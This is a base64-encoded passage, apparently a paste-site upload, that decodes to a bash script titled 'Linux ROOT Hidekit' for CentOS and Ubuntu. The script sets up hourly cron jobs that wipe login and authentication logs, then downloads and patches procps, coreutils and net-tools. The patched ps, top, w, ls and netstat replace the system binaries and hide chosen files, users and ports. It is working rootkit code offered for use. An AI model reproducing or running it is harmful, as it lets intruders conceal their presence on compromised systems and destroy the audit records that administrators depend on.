  1432. PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPVsgTGludXggUk9PVCBIaWRla2l0IF09LS0tLS0tLS0t
  1433. LS0tLS0tLS0tLS0tLS0tPXwKI3w9LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1434. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS09fAojfD0tLS0tLS0tLS0tLS0tLS0t
  1435. LS0tLS0tLS0tLT1bIGJ5IGluZmFtb3VzIF09LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLT18
  1436. CiN8PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPVsgaW5mYW1vdXNAYW5vbi5ycyBdPS0tLS0tLS0t
  1437. LS0tLS0tLS0tLS0tLS0tLS0tPXwKI3w9LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1438. LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS09fAojfD0tLS0tLS0tLS0tLS0t
  1439. LS0tLS09WyAqKioqKioqQ2VudE9TLCBVYnVudHUqKioqKioqIF09LS0tLS0tLS0tLS0tLS0tLS0t
  1440. LT18CiN8PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
  1441. LS0tLS0tLS0tLS0tLS0tLS0tLS0tPXwKCnJlYWQgLXAgImVudGVyIGZpbGVuYW1lIC8gZGlyZWN0
  1442. b3J5IG5hbWUgdG8gaGlkZSBmcm9tIHBzLGxzIFtkZWZhdWx0OiBNQUdJQzldOiIgSElERU5BTUUK
  1443. aWYgWyAteiAiJEhJREVOQU1FIiBdOyB0aGVuCiAgICBISURFTkFNRT1NQUdJQzkKZmkKCnJlYWQg
  1444. LXAgImVudGVyIHVzZXIgdG8gaGlkZSBmcm9tIHcgW2RlZmF1bHQ6IHJvb3RdOiIgSElERVVTRVIK
  1445. aWYgWyAteiAiJEhJREVVU0VSIiBdOyB0aGVuCiAgICBISURFVVNFUj1yb290CmZpCgpISURFUE9S
  1446. VFM9ImlmICgiCndoaWxlIDogOyBkbwogICAgcmVhZCAtcCAiZW50ZXIgcmVtb3RlIHBvcnQgdG8g
  1447. aGlkZSBmcm9tIG5ldHN0YXQgb3IgbGVhdmUgYmxhbmsgdG8gY29udGludWU6ICIgSElERVBPUlQK
  1448. ICAgIFtbIC1uICIkSElERVBPUlQiIF1dIHx8IGJyZWFrCiAgICBISURFUE9SVFM9IiR7SElERVBP
  1449. UlRTfSByZW1fcG9ydCA9PSAke0hJREVQT1JUfSB8fCAiCmRvbmUKSElERVBPUlRTPSIke0hJREVQ
  1450. T1JUU30gcmVtX3BvcnQgPT0gLTEpIgoKSElERVBPUlRTX0xPQ0FMPSJpZiAoIgp3aGlsZSA6IDsg
  1451. ZG8KICAgIHJlYWQgLXAgImVudGVyIGxvY2FsIHBvcnQgdG8gaGlkZSBmcm9tIG5ldHN0YXQgb3Ig
  1452. bGVhdmUgYmxhbmsgdG8gY29udGludWU6ICIgSElERVBPUlRfTE9DQUwKICAgIFtbIC1uICIkSElE
  1453. RVBPUlRfTE9DQUwiIF1dIHx8IGJyZWFrCiAgICBISURFUE9SVFNfTE9DQUw9IiR7SElERVBPUlRT
  1454. X0xPQ0FMfSBsb2NhbF9wb3J0ID09ICR7SElERVBPUlRfTE9DQUx9IHx8ICIKZG9uZQpISURFUE9S
  1455. VFNfTE9DQUw9IiR7SElERVBPUlRTX0xPQ0FMfSBsb2NhbF9wb3J0ID09IC0xKSIKCnJlYWQgLXAg
  1456. ImFkZCBsb2djbGVhbmVyIGNyb250YWIgZW50cnk/ICh5L24pIFtkZWZhdWx0OiB5XSIgQUREQ1JP
  1457. TlRBQgppZiBbIC16ICIkQUREQ1JPTlRBQiIgXTsgdGhlbgogICAgQUREQ1JPTlRBQj15CmZpCgpp
  1458. ZiBbICIkQUREQ1JPTlRBQiIgPSAieSIgXSA7IHRoZW4KICAgICAoY3JvbnRhYiAtbCAyPi9kZXYv
  1459. bnVsbDsgcHJpbnRmICIwICogKiAqICogPi92YXIvbG9nL3d0bXBcbjAgKiAqICogKiA+L3Zhci9s
  1460. b2cvYnRtcFxuMCAqICogKiAqID4vdmFyL2xvZy9sYXN0bG9nXG4wICogKiAqICogPi92YXIvbG9n
  1461. L3NlY3VyZVxuMCAqICogKiAqID4vdmFyL2xvZy9hdXRoLmxvZ1xuIikgfCBjcm9udGFiIC0KZmkK
  1462. Cj4vdmFyL2xvZy93dG1wCj4vdmFyL2xvZy9idG1wCj4vdmFyL2xvZy9sYXN0bG9nCj4vdmFyL2xv
  1463. Zy9zZWN1cmUKPi92YXIvbG9nL2F1dGgubG9nCgppZiBbIC1mICIvZXRjL2RlYmlhbl92ZXJzaW9u
  1464. IiBdCnRoZW4KCXBhY2thZ2VtYW49YXB0LWdldAplbHNlCglwYWNrYWdlbWFuPXl1bQpmaQoke3Bh
  1465. Y2thZ2VtYW59IC15IGluc3RhbGwgbWFrZSBnY2Mgd2dldApta2RpciAvdG1wLy4uLi8KY2QgL3Rt
  1466. cC8uLi4vCndnZXQgLU8gL3RtcC8uLi4vcHJvY3BzLnRhci5neiBodHRwOi8vcHJvY3BzLnNvdXJj
  1467. ZWZvcmdlLm5ldC9wcm9jcHMtMy4yLjgudGFyLmd6CnJtIC1yZiAvdG1wLy4uLi9wcm9jcHMtMy4y
  1468. LjgvCnRhciB4dnpmIHByb2Nwcy50YXIuZ3oKY2QgL3RtcC8uLi4vcHJvY3BzLTMuMi44L3BzCgpM
  1469. SU5FMT0iICBpZiAocHAgJiYgcHAtPmNtZCAmJiBzdHJzdHIocHAtPmNtZCwgXCIke0hJREVOQU1F
  1470. fVwiKSAhPSBOVUxMKSIKTElORTI9IiAgaWYgKHBwICYmIHBwLT5jbWRsaW5lICYmIHN0cnN0cihw
  1471. cC0+Y21kbGluZSwgXCIke0hJREVOQU1FfVwiKSAhPSBOVUxMKSIKPm91dHB1dC5jXzIKd2hpbGUg
  1472. SUZTPScnIHJlYWQgLXIgbGluZSB8fCBbWyAtbiAiJGxpbmUiIF1dOyBkbwogICAgaWYgW1sgJGxp
  1473. bmUgPT0gKiJ1bnNpZ25lZCBmbGFnczsiKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8gIiRsaW5l
  1474. IiA+PiBvdXRwdXQuY18yCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgIGVjaG8g
  1475. IiRsaW5lIiA+PiBvdXRwdXQuY18yCiAgICAgICAgaWYgW1sgJGxpbmUgPT0gKiJpbnQgcmlnaHR3
  1476. YXJkPW1heF9yaWdodHdhcmQ7IiogXV0KICAgICAgICB0aGVuCiAgICAgICAgICAgIGVjaG8gIiRM
  1477. SU5FMSIgPj4gb3V0cHV0LmNfMgogICAgICAgICAgICBlY2hvICIgIHJldHVybiAwOyIgPj4gb3V0
  1478. cHV0LmNfMgogICAgICAgICAgICBlY2hvICIkTElORTIiID4+IG91dHB1dC5jXzIKICAgICAgICAg
  1479. ICAgZWNobyAiICByZXR1cm4gMDsiID4+IG91dHB1dC5jXzIgJiYgY29udGludWUKICAgICAgICBm
  1480. aQogICAgZmkKCiAgICBlY2hvICIkbGluZSIgPj4gb3V0cHV0LmNfMgpkb25lIDwgb3V0cHV0LmMK
  1481. bXYgLWYgb3V0cHV0LmNfMiBvdXRwdXQuYwoKTElORTE9ImlmIChidWYgJiYgYnVmLT5jbWQgJiYg
  1482. c3Ryc3RyKGJ1Zi0+Y21kLCBcIiR7SElERU5BTUV9XCIpICE9IE5VTEwpIgpMSU5FMj0icmV0dXJu
  1483. IDA7Igo+c2VsZWN0LmNfMgp3aGlsZSBJRlM9JycgcmVhZCAtciBsaW5lIHx8IFtbIC1uICIkbGlu
  1484. ZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAqIi8qIGVsc2V3aGVyZSwgY29udmVydCBUIHRv
  1485. IGxpc3QsIFUgc2V0cyB4IGltcGxpY2l0bHkgKi8iKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8g
  1486. IiRsaW5lIiA+PiBzZWxlY3QuY18yCiAgICAgICAgZWNobyAiJExJTkUxIiA+PiBzZWxlY3QuY18y
  1487. CiAgICAgICAgZWNobyAiJExJTkUyIiA+PiBzZWxlY3QuY18yICYmIGNvbnRpbnVlCiAgICBmaQoK
  1488. ICAgIGVjaG8gIiRsaW5lIiA+PiBzZWxlY3QuY18yCmRvbmUgPCBzZWxlY3QuYwptdiAtZiBzZWxl
  1489. Y3QuY18yIHNlbGVjdC5jCgpjZCAvdG1wLy4uLi9wcm9jcHMtMy4yLjgvCkxJTkUxPSItaW5jbHVk
  1490. ZSBwcm9jL21vZHVsZS5tayBwcy9tb2R1bGUubWsiCj5NYWtlZmlsZV8yCndoaWxlIElGUz0nJyBy
  1491. ZWFkIC1yIGxpbmUgfHwgW1sgLW4gIiRsaW5lIiBdXTsgZG8KICAgIGlmIFtbICRsaW5lID09ICoi
  1492. LWluY2x1ZGUgKi9tb2R1bGUubWsiKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8gIiRMSU5FMSIg
  1493. Pj4gTWFrZWZpbGVfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBlY2hvICIkbGluZSIgPj4gTWFr
  1494. ZWZpbGVfMgpkb25lIDwgTWFrZWZpbGUKbXYgLWYgTWFrZWZpbGVfMiBNYWtlZmlsZQpMSU5FMT0i
  1495. ICAgaWYgKHRoaXMgIT0gTlVMTCAmJiAoKHRoaXMtPmNtZGxpbmUgIT0gTlVMTCAmJiBzdHJzdHIo
  1496. dGhpcy0+Y21kbGluZSwgXCIke0hJREVOQU1FfVwiKSAhPSBOVUxMKSB8fCIKTElORTI9IiAgICAg
  1497. ICh0aGlzLT5jbWQgIT0gTlVMTCAmJiBzdHJzdHIodGhpcy0+Y21kLCBcIiR7SElERU5BTUV9XCIp
  1498. ICE9IE5VTEwpKSkiCkxJTkUzPSIgICAgICByZXR1cm47Igo+dG9wLmNfMgp3aGlsZSBJRlM9Jycg
  1499. cmVhZCAtciBsaW5lIHx8IFtbIC1uICIkbGluZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAq
  1500. IlRJQ190IHRpY3M7IiogXV0KICAgIHRoZW4KICAgICAgICBlY2hvICIkbGluZSIgPj4gdG9wLmNf
  1501. MgogICAgICAgIGVjaG8gIiRMSU5FMSIgPj4gdG9wLmNfMgogICAgICAgIGVjaG8gIiRMSU5FMiIg
  1502. Pj4gdG9wLmNfMgogICAgICAgIGVjaG8gIiRMSU5FMyIgPj4gdG9wLmNfMiAmJiBjb250aW51ZQog
  1503. ICAgZmkKCiAgICBlY2hvICIkbGluZSIgPj4gdG9wLmNfMgpkb25lIDwgdG9wLmMKbXYgLWYgdG9w
  1504. LmNfMiB0b3AuYwoKaWYgWyAtZiAiL2V0Yy9kZWJpYW5fdmVyc2lvbiIgXQp0aGVuCiAgICBhcHQt
  1505. Z2V0IC15IGluc3RhbGwgbmN1cnNlcy1kZXYKZWxzZQogICAgeXVtIC15IGluc3RhbGwgbmN1cnNl
  1506. cy1kZXZlbApmaQoKPncuY18yCkxJTkUxPSJpZiAoc3Ryc3RyKHVuYW1lLCBcIiR7SElERVVTRVJ9
  1507. XCIpICE9IE5VTEwpIgpMSU5FMj0iICAgICAgICByZXR1cm47Igp3aGlsZSBJRlM9JycgcmVhZCAt
  1508. ciBsaW5lIHx8IFtbIC1uICIkbGluZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAqInN0cm5j
  1509. cHkodW5hbWUsIHUtPnV0X3VzZXIsIFVTRVJTWik7IiogXV0KICAgIHRoZW4KICAgICAgICBlY2hv
  1510. ICIkbGluZSIgPj4gdy5jXzIKICAgICAgICBlY2hvICIkTElORTEiID4+IHcuY18yCiAgICAgICAg
  1511. ZWNobyAiJExJTkUyIiA+PiB3LmNfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBlY2hvICIkbGlu
  1512. ZSIgPj4gdy5jXzIKZG9uZSA8IHcuYwptdiAtZiB3LmNfMiB3LmMKCm1ha2UgPiBmIDI+JjEKaWYg
  1513. Z3JlcCAtcSAiZXJyb3I6IHJlZGVjbGFyYXRpb24gb2YgZW51bWVyYXRvciDigJhQX1BJROKAmSIg
  1514. Zgp0aGVuCiAgICBtYWtlIGNsZWFuCiAgICBzZWQgLUVpICdzL1BJRC9DSUQvZycgdG9wLmMKICAg
  1515. IHNlZCAtRWkgJ3MvUElEL0NJRC9nJyB0b3AuaAogICAgc2VkIC1FaSAncy9QUk9DX0NJRC9QUk9D
  1516. X1BJRC9nJyB0b3AuYwogICAgc2VkIC1FaSAncy9DSURcIi9QSURcIi9nJyB0b3AuYwogICAgcm0g
  1517. LWYgL3Vzci9saWIvbGlicHJvYy0zLjIuOC5zbwogICAgcm0gLWYgL3Vzci9saWI2NC9saWJwcm9j
  1518. LTMuMi44LnNvCiAgICBtYWtlID4gZiAyPiYxCmZpCgpybSAtZiAvdXNyL2xpYi9saWJwcm9jLTMu
  1519. Mi44LnNvCnJtIC1mIC91c3IvbGliNjQvbGlicHJvYy0zLjIuOC5zbwpjcCAtZiAvdG1wLy4uLi9w
  1520. cm9jcHMtMy4yLjgvcHJvYy9saWJwcm9jLTMuMi44LnNvIC91c3IvbGliL2xpYnByb2MtMy4yLjgu
  1521. c28KY3AgLWYgL3RtcC8uLi4vcHJvY3BzLTMuMi44L3Byb2MvbGlicHJvYy0zLjIuOC5zbyAvdXNy
  1522. L2xpYjY0L2xpYnByb2MtMy4yLjguc28Kcm0gLWYgL2Jpbi9wcwpjcCAtZiAvdG1wLy4uLi9wcm9j
  1523. cHMtMy4yLjgvcHMvcHMgL2Jpbi9wcwpybSAtZiAvdXNyL2Jpbi90b3AKY3AgLWYgL3RtcC8uLi4v
  1524. cHJvY3BzLTMuMi44L3RvcCAvdXNyL2Jpbi90b3AKcm0gLWYgL3Vzci9iaW4vdwpjcCAtZiAvdG1w
  1525. Ly4uLi9wcm9jcHMtMy4yLjgvdyAvdXNyL2Jpbi93CgpjZCAvdG1wLy4uLi8Kd2dldCAtTyBjb3Jl
  1526. dXRpbHMudGFyLnh6IGh0dHA6Ly9mdHAuZ251Lm9yZy9nbnUvY29yZXV0aWxzL2NvcmV1dGlscy04
  1527. LjIzLnRhci54egpybSAtcmYgL3RtcC8uLi4vY29yZXV0aWxzLTguMjMvCnRhciB4ZiBjb3JldXRp
  1528. bHMudGFyLnh6CmNkIGNvcmV1dGlscy04LjIzL3NyYwpMSU5FMT0iICBpZiAodGhpc3BlbmQtPnJl
  1529. YWxuYW1lICE9IE5VTEwgJiYgc3Ryc3RyKHRoaXNwZW5kLT5yZWFsbmFtZSwgXCIke0hJREVOQU1F
  1530. fVwiKSAhPSBOVUxMKSIKTElORTI9Igljb250aW51ZTsiCkxJTkUzPSIgIGlmIChzb3J0ZWRfZmls
  1531. ZVtpXSAhPSBOVUxMICYmIHN0cnN0cigoKHN0cnVjdCBmaWxlaW5mbyopc29ydGVkX2ZpbGVbaV0p
  1532. LT5uYW1lLCBcIiR7SElERU5BTUV9XCIpICE9IE5VTEwpIgpMSU5FND0iCWNvbnRpbnVlOyIKTElO
  1533. RTU9IiAgaWYgKGYgIT0gTlVMTCAmJiBzdHJzdHIoZi0+bmFtZSwgXCIke0hJREVOQU1FfVwiKSAh
  1534. PSBOVUxMKSIKTElORTY9IglyZXR1cm47IgpMSU5FNz0iCSAgaWYgKCEoZiAhPSBOVUxMICYmIHN0
  1535. cnN0cihmLT5uYW1lLCBcIiR7SElERU5BTUV9XCIpICE9IE5VTEwpKSIKTElORTg9IgkgIHsiCkxJ
  1536. TkU5PSIgICAgICAgICAgIHB1dGNoYXIgKCdcbicpOyIKTElORTEwPSIgICAgICAgICAgIHBvcyA9
  1537. IDA7IgpMSU5FMTE9IiAgfSIKPmxzLmNfMgp3aGlsZSBJRlM9JycgcmVhZCAtciBsaW5lIHx8IFtb
  1538. IC1uICIkbGluZSIgXV07IGRvCiAgICBpZiBbWyAkbGluZSA9PSAqInVuc2lnbmVkIGZsYWdzOyIq
  1539. IF1dCiAgICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0n
  1540. JyByZWFkIC1yIGxpbmUKICAgICAgICBpZiBbWyAkbGluZSA9PSAqImZyZWVfcGVuZGluZ19lbnQg
  1541. KHRoaXNwZW5kKTsiKiBdXQogICAgICAgIHRoZW4KICAgICAgICAgICAgZWNobyAiJGxpbmUiID4+
  1542. IGxzLmNfMgogICAgICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgICAgIGVjaG8g
  1543. IiRsaW5lIiA+PiBscy5jXzIKICAgICAgICAgICAgaWYgW1sgJGxpbmUgPT0gKiJjb250aW51ZTsi
  1544. KiBdXQogICAgICAgICAgICB0aGVuCiAgICAgICAgICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5l
  1545. CiAgICAgICAgICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgICAgICAgICBJ
  1546. RlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18y
  1547. CiAgICAgICAgICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgICAgICAgICBlY2hv
  1548. ICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgICAgICAgICBlY2hvICIkTElORTEiID4+IGxzLmNf
  1549. MgogICAgICAgICAgICAgICAgZWNobyAiJExJTkUyIiA+PiBscy5jXzIgJiYgY29udGludWUKICAg
  1550. ICAgICAgICAgZmkKICAgICAgICBmaQogICAgZmkKCiAgICBpZiBbWyAkbGluZSA9PSAqImZvciAo
  1551. aSA9IGN3ZF9uX3VzZWQ7IGktLSAhPSAwOyApIiogXV0KICAgIHRoZW4KICAgICAgICBlY2hvICIk
  1552. bGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgIGVjaG8g
  1553. IiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgZWNo
  1554. byAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyByZWFkIC1yIGxpbmUKICAgICAgICBl
  1555. Y2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgZWNobyAiJExJTkUzIiA+PiBscy5jXzIKICAg
  1556. ICAgICBlY2hvICIkTElORTQiID4+IGxzLmNfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBpZiBb
  1557. WyAkbGluZSA9PSAqImZvciAoaSA9IDAsIGogPSAwOyBpIDwgY3dkX25fdXNlZDsgaSsrKSIqIF1d
  1558. CiAgICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyBy
  1559. ZWFkIC1yIGxpbmUKICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScn
  1560. IHJlYWQgLXIgbGluZQogICAgICAgIGVjaG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBlY2hv
  1561. ICIkTElORTMiID4+IGxzLmNfMgogICAgICAgIGVjaG8gIiRMSU5FNCIgPj4gbHMuY18yICYmIGNv
  1562. bnRpbnVlCiAgICBmaQoKICAgIGlmIFtbICRsaW5lID09ICoiY2FzZSBsb25nX2Zvcm1hdDoiKiBd
  1563. XQogICAgdGhlbgogICAgICAgIGVjaG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBJRlM9Jycg
  1564. cmVhZCAtciBsaW5lCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIGlmIFtb
  1565. ICRsaW5lID09ICoiZm9yIChpID0gMDsgaSA8IGN3ZF9uX3VzZWQ7IGkrKykiKiBdXQogICAgICAg
  1566. IHRoZW4KICAgICAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgICAgICBlY2hvICIk
  1567. bGluZSIgPj4gbHMuY18yCiAgICAgICAgICAgIGVjaG8gIiRMSU5FMyIgPj4gbHMuY18yCiAgICAg
  1568. ICAgICAgIGVjaG8gIiRMSU5FNCIgPj4gbHMuY18yICYmIGNvbnRpbnVlCiAgICAgICAgZmkKICAg
  1569. IGZpCgogICAgaWYgW1sgJGxpbmUgPT0gKiJzdHJ1Y3QgdG0gKndoZW5fbG9jYWw7IiogXV0KICAg
  1570. IHRoZW4KICAgICAgICBlY2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScnIHJlYWQg
  1571. LXIgbGluZQogICAgICAgIGVjaG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElO
  1572. RTUiID4+IGxzLmNfMgogICAgICAgIGVjaG8gIiRMSU5FNiIgPj4gbHMuY18yICYmIGNvbnRpbnVl
  1573. CiAgICBmaQoKICAgIGlmIFtbICRsaW5lID09ICoiY29uc3QgY2hhciogbmFtZSA9IHN5bWxpbmtf
  1574. dGFyZ2V0ID8gZi0+bGlua25hbWUgOiBmLT5uYW1lOyIqIF1dCiAgICB0aGVuCiAgICAgICAgZWNo
  1575. byAiJGxpbmUiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyByZWFkIC1yIGxpbmUKICAgICAgICBl
  1576. Y2hvICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgZWNobyAiJExJTkU1IiA+PiBscy5jXzIKICAg
  1577. ICAgICBlY2hvICIkTElORTYiID4+IGxzLmNfMiAmJiBjb250aW51ZQogICAgZmkKCiAgICBpZiBb
  1578. WyAkbGluZSA9PSAqImNoYXIgYnVmW01BWCAoTE9OR0VTVF9IVU1BTl9SRUFEQUJMRSArIDEsIElO
  1579. VF9CVUZTSVpFX0JPVU5EICh1aW50bWF4X3QpKV07IiogXV0KICAgIHRoZW4KICAgICAgICBlY2hv
  1580. ICIkbGluZSIgPj4gbHMuY18yCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGluZQogICAgICAgIGVj
  1581. aG8gIiRsaW5lIiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElORTUiID4+IGxzLmNfMgogICAg
  1582. ICAgIGVjaG8gIiRMSU5FNiIgPj4gbHMuY18yICYmIGNvbnRpbnVlCiAgICBmaQoKICAgIGlmIFtb
  1583. ICRsaW5lID09ICoiaW50IGxpbmtvazsiKiBdXQogICAgdGhlbgogICAgICAgIGVjaG8gIiRsaW5l
  1584. IiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElORTUiID4+IGxzLmNfMgogICAgICAgIGVjaG8g
  1585. IiRMSU5FNiIgPj4gbHMuY18yICYmIGNvbnRpbnVlCiAgICBmaQoKICAgIGlmIFtbICRsaW5lID09
  1586. ICoiaWYgKGNvbCA9PSAwKSIqIF1dCiAgICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IGxz
  1587. LmNfMgogICAgICAgIGVjaG8gInsiID4+IGxzLmNfMgogICAgICAgIElGUz0nJyByZWFkIC1yIGxp
  1588. bmUKICAgICAgICBJRlM9JycgcmVhZCAtciBsaW5lCiAgICAgICAgSUZTPScnIHJlYWQgLXIgbGlu
  1589. ZQogICAgICAgIElGUz0nJyByZWFkIC1yIGxpbmUKICAgICAgICBlY2hvICIkTElORTciID4+IGxz
  1590. LmNfMgogICAgICAgIGVjaG8gIiRMSU5FOCIgPj4gbHMuY18yCiAgICAgICAgZWNobyAiJExJTkU5
  1591. IiA+PiBscy5jXzIKICAgICAgICBlY2hvICIkTElORTEwIiA+PiBscy5jXzIKICAgICAgICBlY2hv
  1592. ICIkTElORTExIiA+PiBscy5jXzIKICAgICAgICBlY2hvICJ9IiA+PiBscy5jXzIgJiYgY29udGlu
  1593. dWUKICAgIGZpCgogICAgZWNobyAiJGxpbmUiID4+IGxzLmNfMgpkb25lIDwgbHMuYwptdiAtZiBs
  1594. cy5jXzIgbHMuYwpjZCAvdG1wLy4uLi9jb3JldXRpbHMtOC4yMy8KZXhwb3J0IEZPUkNFX1VOU0FG
  1595. RV9DT05GSUdVUkU9MQouL2NvbmZpZ3VyZQptYWtlCnJtIC1mIC9iaW4vbHMKY3AgLWYgL3RtcC8u
  1596. Li4vY29yZXV0aWxzLTguMjMvc3JjL2xzIC9iaW4vbHMKCmNkIC90bXAvLi4uLwp3Z2V0IC1PIG5l
  1597. dC10b29scy50YXIuYnoyIGh0dHA6Ly9kb3dubG9hZHMuc291cmNlZm9yZ2UubmV0L3Byb2plY3Qv
  1598. bmV0LXRvb2xzL25ldC10b29scy0xLjYwLnRhci5iejIKaWYgWyAtZiAiL2V0Yy9kZWJpYW5fdmVy
  1599. c2lvbiIgXQp0aGVuCiAgICBhcHQtZ2V0IC15IGluc3RhbGwgYnppcDIKZWxzZQogICAgeXVtIC15
  1600. IGluc3RhbGwgYnppcDIKZmkKYnppcDIgLWQgbmV0LXRvb2xzLnRhci5iejIKdGFyIHh2ZiBuZXQt
  1601. dG9vbHMudGFyCmNkIC90bXAvLi4uL25ldC10b29scy0xLjYwCj5uZXRzdGF0LmNfMgpjb3VudGVy
  1602. PTAKd2hpbGUgSUZTPScnIHJlYWQgLXIgbGluZSB8fCBbWyAtbiAiJGxpbmUiIF1dOyBkbwogICAg
  1603. Y291bnRlcj0kKChjb3VudGVyKzEpKQogICAgaWYgW1sgIiRjb3VudGVyIiAtZXEgNzI1IF1dCiAg
  1604. ICB0aGVuCiAgICAgICAgZWNobyAiJGxpbmUiID4+IG5ldHN0YXQuY18yCiAgICAgICAgZWNobyAi
  1605. JEhJREVQT1JUUyIgPj4gbmV0c3RhdC5jXzIKICAgICAgICBlY2hvICIgIHJldHVybjsiID4+IG5l
  1606. dHN0YXQuY18yCiAgICAgICAgZWNobyAiJEhJREVQT1JUU19MT0NBTCIgPj4gbmV0c3RhdC5jXzIK
  1607. ICAgICAgICBlY2hvICIgIHJldHVybjsiID4+IG5ldHN0YXQuY18yICYmIGNvbnRpbnVlCiAgICBm
  1608. aQogICAgZWNobyAiJGxpbmUiID4+IG5ldHN0YXQuY18yCmRvbmUgPCBuZXRzdGF0LmMKbXYgLWYg
  1609. bmV0c3RhdC5jXzIgbmV0c3RhdC5jCgpjZCAvdG1wLy4uLi9uZXQtdG9vbHMtMS42MC9saWIKd2hp
  1610. bGUgSUZTPScnIHJlYWQgLXIgbGluZSB8fCBbWyAtbiAiJGxpbmUiIF1dOyBkbwogICAgaWYgW1sg
  1611. JGxpbmUgPT0gKiJkZWZhdWx0OiIqIF1dCiAgICB0aGVuCiAgICAgICAgZWNobyAiJHtsaW5lfTsi
  1612. ID4+IGluZXRfc3IuY18yICYmIGNvbnRpbnVlCiAgICBmaQogICAgZWNobyAiJGxpbmUiID4+IGlu
  1613. ZXRfc3IuY18yCmRvbmUgPCBpbmV0X3NyLmMKbXYgLWYgaW5ldF9zci5jXzIgaW5ldF9zci5jCgpj
  1614. ZCAvdG1wLy4uLi9uZXQtdG9vbHMtMS42MAp5ZXMgIm4iIHwgbWFrZSBjb25maWcKZWNobyAiI2Rl
  1615. ZmluZSBIQVZFX0FGVU5JWCAxIiA+PiBjb25maWcuaAplY2hvICIjZGVmaW5lIEhBVkVfQUZJTkVU
  1616. IDEiID4+IGNvbmZpZy5oCmVjaG8gIiNkZWZpbmUgSEFWRV9IV0VUSEVSIDEiID4+IGNvbmZpZy5o
  1617. Cm1ha2UgbmV0c3RhdApybSAtZiAvYmluL25ldHN0YXQKY3AgLWYgL3RtcC8uLi4vbmV0LXRvb2xz
  1618. LTEuNjAvbmV0c3RhdCAvYmluL25ldHN0YXQKcm0gLXJmIC90bXAvLi4uLwoK
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement